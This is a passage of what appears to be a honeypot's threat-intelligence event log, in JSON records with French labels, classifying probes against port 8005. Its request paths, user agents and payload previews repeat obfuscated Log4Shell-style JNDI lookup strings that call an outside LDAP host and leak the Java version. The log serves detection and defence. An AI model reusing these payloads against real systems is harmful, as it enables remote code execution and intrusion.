\/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-\/}${bgut:rej:79:-\/}${i3zt:pe16:2r:-P}${b782:x:-A}${f9no:-l}${i1o3:-0}${x03:ykte:-c}${1t:--}${${cum4:t9:9:-s}${oz2:nvjt:-y}${s:-s}${i:g:mjw:-:}${r3g9:g:fuw6:-j}${ravp:zhc:ami:-a}${ku:-v}${rev:-a}${uy:16fg:-.}${au:-v}${b76k:d2:-e}${l:-r}${yv0:-s}${62q:tbfj:p:-i}${2j:y0n:cpw:-o}${5:-n}}${rx3q:y:-.}${j:-f}${2x:9o4u:-0}${al:1l:-5}${l:1lw8:-c}${t3l:2ncx:-3}${2ch:-e}${ifa:n7jl:-4}${zo:\u0022, \u0022payload_snippet\u0022: \u0022GET \/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i1\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-\/}${bgut:rej:79:-\/}${i3zt:pe16:2r:-P}${b782:x:-A}${f9no:-l}${i1o3:-0}${x03:ykte:-c}${1t:--}${${cum4:t9:9:-s}${oz2:nvjt:-y}${s:-s}${i:g:mjw:-:}${r3g9:g:fuw6:-j}${ravp:zhc:ami:-a}${ku:-v}${rev:-a}${uy:16fg:-.}${au:-v}${b76k:d2:-e}${l:-r}${yv0:-s}${62q:tbfj:p:-i}${2j:y0n:cpw:-o}${5:-n}}${rx3q:y:-.}${j:-f}${2x:9o4u:-0}${al:1l:-5}${l:1lw8:-c}${t3l:2ncx:-3}${2ch:-e}${ifa:n7jl:-4}${zo:xv:-\u0022, \u0022user_agent\u0022: \u0022${${w5k:693m:6nj:-j}${g:g:l8o:-n}${bru:-d}${sr2:-i}${q7pw:-:}${1xd:r:-l}${m:-d}${5fr:-a}${lh:0o:-p}${w:6fvd:eh:-:}${6xcf:-\/}${6o3z:z:-\/}${qt1u:mrky:v:-U}${dr:0:-A}${iwa:l:2v6:-l}${r0dp:-0}${kr:9:-c}${dxz:c:--}${${8s:jb:-s}${cd:-y}${2t:otcp:-s}${iq0t:-:}${\u2026\u0022, \u0022waf_tags\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-\/}${bgut:rej:79:-\/}${i3zt:pe16:2r:-P}${b782:x:-A}${f9no:-l}${i1o3:-0}${x03:ykte:-c}${1t:--}${${cum4:t9:9:-s}${oz2:nvjt:-y}${s:-s}${i:g:mjw:-:}${r3g9:g:fuw6:-j}${ravp:zhc:ami:-a}${ku:-v}${rev:-a}${uy:16fg:-.}${au:-v}${b76k:d2:-e}${l:-r}${yv0:-s}${62q:tbfj:p:-i}${2j:y0n:cpw:-o}${5:-n}}${rx3q:y:-.}${j:-f}${2x:9o4u:-0}${al:1l:-5}${l:1lw8:-c}${t3l:2ncx:-3}${2ch:-e}${ifa:n7jl:-4}${zo:\u0022, \u0022request_sample\u0022: \u0022GET \/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-\/}${bgut:rej:79:-\/}${i3zt:pe16:2r:-P}${b782:x:-A}${f9no:-l}${i1o3:-0}${x03:ykte:-c}${1t:--}${${cum4:t9:9:-s}${oz2:nvjt:-y}${s\u0022, \u0022payload_snippet\u0022: \u0022GET \/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i1\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022mitre_tactics\u0022: [\u0022TA0007\u0022, \u0022TA0001\u0022], \u0022mitre\u0022: \u0022TA0007\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00226ecda72b5e3012cc27ae8c85a20ce9b7f78d2625\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-\/}${bgut:rej:79:-\/}${i3zt:pe16:2\u2026\u0022, \u0022request_line\u0022: \u0022GET \/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-\/}${bgut:rej:79:-\/}${i3zt:pe16:2r:-P}${b782:x:-A}${f9no:-l}${i1o3:-0\u2026\u0022, \u0022http_user_agent\u0022: \u0022${${w5k:693m:6nj:-j}${g:g:l8o:-n}${bru:-d}${sr2:-i}${q7pw:-:}${1xd:r:-l}${m:-d}${5fr:-a}${lh:0o:-p}${w:6fvd:eh:-:}${6xc\u2026\u0022, \u0022port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i1\u0022, \u0022attack_vector\u0022: \u0022port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}$\u2026\u0022, \u0022target_port_label\u0022: \u00228005 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 58\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 60 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)\u0022, \u0022confidence_pct\u0022: 60, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 60.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 58, \u0022correlation_boost\u0022: 10}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022attack_stage_label\u0022: \u0022Sonde \/ probe\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 58, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8005, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022pat-0162\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022pat-0162\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0007\u0022, \u0022mitre_technique\u0022: \u0022TA0007\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +10\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-\/}${bgut:rej:79:-\/}${i3zt:pe16:2\u2026\u0022, \u0022request_line\u0022: \u0022GET \/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-\/}${bgut:rej:79:-\/}${i3zt:pe16:2r:-P}${b782:x:-A}${f9no:-l}${i1o3:-0\u2026\u0022, \u0022http_user_agent\u0022: \u0022${${w5k:693m:6nj:-j}${g:g:l8o:-n}${bru:-d}${sr2:-i}${q7pw:-:}${1xd:r:-l}${m:-d}${5fr:-a}${lh:0o:-p}${w:6fvd:eh:-:}${6xc\u2026\u0022, \u0022port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}$\u2026\u0022, \u0022evidence_snippet\u0022: \u0022GET \/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i1\u0022, \u0022target_port_label\u0022: \u00228005 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 60 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022meta_truncated\u0022: true, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228005\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 8, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 10, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022net_slowloris\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8005","http_user_agent":"${${w5k:693m:6nj:-j}${g:g:l8o:-n}${bru:-d}${sr2:-i}${q7pw:-:}${1xd:r:-l}${m:-d}${5fr:-a}${lh:0o:-p}${w:6fvd:eh:-:}${6xcf:-\/}${6o3z:z:-\/}${qt1u:mrky:v:-U}${dr:0:-A}${iwa:l:2v6:-l}${r0dp:-0}${kr:9:-c}${dxz:c:--}${${8s:jb:-s}${cd:-y}${2t:otcp:-s}${iq0t:-:}${8xh:rv3:-j}${1lcd:-a}${miwa:-v}${z3eu:4qvz:zqs:-a}${86t:-.}${8plg:c6d0:-v}${tpi:vo7d:-e}${mkpz:pvf:-r}${d:-s}${98:d:dz:-i}${gw7:toc:gf:-o}${6:027d:0:-n}}${r0d7:1q5c:-.}${ly:-f}${we20:1iw2:3dx:-0}${h:jdpw:abdw:-5}${toc:b:-c}${e:w:k0s:-3}${qwm:zy:a3tz:-e}${s:-4}${2i:iy:-0}${qfk4:-8}${3sfd:5x:-2}${cz:a:-b}${nl:-9}${4mf:56v:-4}${z:vq:-2}${dim3:h:k:-8}${yurl:kba7:rcj:-f}${87:6l2r:vqx9:-7}${r2i:-9}${1:-7}${w:2n:-f}${t:ta:-6}${6z2:0e:x:-e}${j:-9}${3z2q:-6}${39:8d:-e}${w:n:bl18:-3}${tr2j:-8}${aun:zk8n:1gu:-f}${32:2s:-0}${kcva:-2}${s:dw5a:b:-5}${wo:bumx:-0}${s:r:-3}${3ua2:d1uj:sb:-3}${n:e4:hiwx:-8}${kjyi:j:-f}${y2h:5vi8:-d}${y:-9}${f1v:0f:-0}${8y:-e}${h:9lk:-2}${3gr0:4ty:g8c:-a}${gv4:gim:-.}${bgfv:u2:-d}${a:-n}${vh:-s}${y:6c58:nuk:--}${84u:qw:g2j:-e}${q8z6:6u:vd9:-x}${pkwg:-f}${843:opx0:-i}${pwt4:-l}${d647:-.}${ad0:u5:cj:-m}${r:-a}${b0r:0gj:js7:-s}${w:x5o:1:-m}${kom:0oe7:-c}${b:m4:-o}${sz:-r}${twp:-e}${a6:--}${5:-c}${n:-f}${cl:--}${m:sf:cwsy:-p}${1u:ok2r:02y:-r}${tjmg:-o}${83:7hrv:-d}${ve:--}${fa:-0}${qkax:-2}${1:-.}${kov:f1d2:o45:-m}${7:-a}${2mel:-s}${nl63:30nh:4a6w:-m}${oh:7h6c:-.}${0gy:-c}${1:rhd:j:-l}${p:oja:i:-o}${n:-u}${n:kd5g:y:-d}${yzg0:-f}${ey0:4s:-e}${y8:xnm:c:-r}${a:-r}${c:rmqi:b02m:-y}${x1:dsg:u51:-.}${3b:kx7l:-g}${wdt:k0:ixsp:-o}${zlmi:-o}${s2:eg:v9:-g}}","http_referer":null,"tags":"[\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022net_slowloris\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":4096},{"id":14676426,"ip":"34.19.116.51","ts":"2026-07-31 15:34:15.000000","proto":"tcp","src_port":36870,"dst_port":8005,"service":"http-alt-8005","classification":"php_injection","waf_score":null,"waf_tags":null,"http_method":null,"http_target":null,"sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022bytes_in\u0022: 4096, \u0022payload_entropy\u0022: 4.788403374977844, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http-alt-8005\u0022, \u0022app_proto\u0022: \u0022http-alt-8005\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8005, \u0022risk_waf\u0022: 8.0, \u0022risk_classification\u0022: 84.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 22.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 1.1, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 84.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 22.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 52, \u0022tag_count\u0022: 0, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022d9af369bde4e2828665e2d4e9860ebc242ac85ed\u0022, \u0022event_fingerprint\u0022: \u0022701e9661ceed5a960b420218a0913f7296688bbc\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 70, \u0022precision_signals\u0022: [\u0022pat-0162\u0022], \u0022kb_rule_ids\u0022: [\u0022pat-0162\u0022], \u0022matched_patterns\u0022: [\u0022pat-0162\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 933135\u0022], \u0022pattern_ids\u0022: [\u0022pat-0162\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 84.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 22.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 52, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http-alt-8005\u0022, \u0022risk_confidence_factor\u0022: 97.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022payload_hash\u0022: \u002248749ea85ce7ea052e0795bdbd935be8\u0022, \u0022path_pattern_hash\u0022: \u0022765741bf96f2b0261b26b2b9f8ad710b\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8005, \u0022service\u0022: \u0022http-alt-8005\u0022, \u0022service_name\u0022: \u0022http-alt-8005\u0022, \u0022risk_score\u0022: 52}, \u0022payload_preview\u0022: \u0022ZSDLKFJ2 \/${${atw:hqb:r:-j}${1:jvdm:-n}${k:nq:m0ge:-d}${9wbk:wj:-i}${ae:-:}${73qw:d:-l}${emvt:-d}${r05z:b:-a}${hb8y:34:5:-p}${8:\u0022, \u0022request_sample\u0022: \u0022ZSDLKFJ2 \/${${atw:hqb:r:-j}${1:jvdm:-n}${k:nq:m0ge:-d}${9wbk:wj:-i}${ae:-:}${73qw:d:-l}${emvt:-d}${r05z:b:-a}${hb8y:34:5:-p}${8:-:}${vls:ek:8xq4:-\/}${m9p:ph:w:-\/}${6:7o:-P}${qux:g5n:-A}${j:qfwv:78h:-l}${f:dli:-0}${0du9:z4yf:dcb4:-c}${8lc:dvmu:w2:--}${${g7a\u0022, \u0022payload_snippet\u0022: \u0022ZSDLKFJ2 \/${${atw:hqb:r:-j}${1:jvdm:-n}${k:nq:m0ge:-d}${9wbk:wj:-i}${ae:-:}${73qw:d:-l}${emvt:-d}${r05z:b:-a}${hb8y:34:5:-p}${8:\u0022, \u0022evidence\u0022: {\u0022request_sample\u0022: \u0022ZSDLKFJ2 \/${${atw:hqb:r:-j}${1:jvdm:-n}${k:nq:m0ge:-d}${9wbk:wj:-i}${ae:-:}${73qw:d:-l}${emvt:-d}${r05z:b:-a}${hb8y:34:5:-p}${8:-:}${vls:ek:8xq4:-\/}${m9p:ph:w:-\/}${6:7o:-P}${qux:g5n:-A}${j:qfwv:78h:-l}${f:dli:-0}${0du9:z4yf:dcb4:-c}${8lc:dvmu:w2:--}${${g7a\u0022, \u0022payload_snippet\u0022: \u0022ZSDLKFJ2 \/${${atw:hqb:r:-j}${1:jvdm:-n}${k:nq:m0ge:-d}${9wbk:wj:-i}${ae:-:}${73qw:d:-l}${emvt:-d}${r05z:b:-a}${hb8y:34:5:-p}${8:\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre\u0022: \u0022TA0001\u0022, \u0022threat_family\u0022: [\u0022rce_probe\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u002239715872c4c8868a62d2880cbc7daad1230f8ae5\u0022, \u0022protocol_details\u0022: {\u0022payload_preview\u0022: \u0022ZSDLKFJ2 \/${${atw:hqb:r:-j}${1:jvdm:-n}${k:nq:m0ge:-d}${9wbk:wj:-i}${ae:-:}${73qw:d:-l}${emvt:-d}${r05z:b:-a}${hb8y:34:5:-p}${8:\u0022, \u0022port\u0022: 8005, \u0022service\u0022: \u0022http-alt-8005\u0022, \u0022service_label_fr\u0022: \u0022HTTP ALT 8005\u0022}, \u0022evidence_snippet\u0022: \u0022ZSDLKFJ2 \/${${atw:hqb:r:-j}${1:jvdm:-n}${k:nq:m0ge:-d}${9wbk:wj:-i}${ae:-:}${73qw:d:-l}${emvt:-d}${r05z:b:-a}${hb8y:34:5:-p}${8:\u0022, \u0022attack_vector\u0022: \u0022php injection \u00b7 via HTTP ALT 8005:8005 \u00b7 (tentative d\u0027exploit)\u0022, \u0022target_port_label\u0022: \u00228005 \u00b7 HTTP ALT 8005\u0022, \u0022emulator_service\u0022: \u0022http-alt-8005\u0022, \u0022confidence_reason\u0022: \u0022Confiance 97 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 52\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP ALT 8005 \u2014 multi-protocole (2 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 84.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 22.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 52, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 52, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http-alt-8005\u0022, \u0022service_label_fr\u0022: \u0022HTTP ALT 8005\u0022, \u0022dst_port\u0022: 8005, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022pat-0162\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022pat-0162\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0001\u0022, \u0022mitre_technique\u0022: \u0022TA0001\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http-alt-8005\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022payload_preview\u0022: \u0022ZSDLKFJ2 \/${${atw:hqb:r:-j}${1:jvdm:-n}${k:nq:m0ge:-d}${9wbk:wj:-i}${ae:-:}${73qw:d:-l}${emvt:-d}${r05z:b:-a}${hb8y:34:5:-p}${8:\u0022, \u0022port\u0022: 8005, \u0022service\u0022: \u0022http-alt-8005\u0022, \u0022service_label_fr\u0022: \u0022HTTP ALT 8005\u0022}, \u0022attack_vector\u0022: \u0022php injection \u00b7 via HTTP ALT 8005:8005 \u00b7 (tentative d\u0027exploit)\u0022, \u0022evidence_snippet\u0022: \u0022ZSDLKFJ2 \/${${atw:hqb:r:-j}${1:jvdm:-n}${k:nq:m0ge:-d}${9wbk:wj:-i}${ae:-:}${73qw:d:-l}${emvt:-d}${r05z:b:-a}${hb8y:34:5:-p}${8:\u0022, \u0022target_port_label\u0022: \u00228005 \u00b7 HTTP ALT 8005\u0022, \u0022emulator_service\u0022: \u0022http-alt-8005\u0022, \u0022confidence_reason\u0022: \u0022Confiance 97 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +18\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, 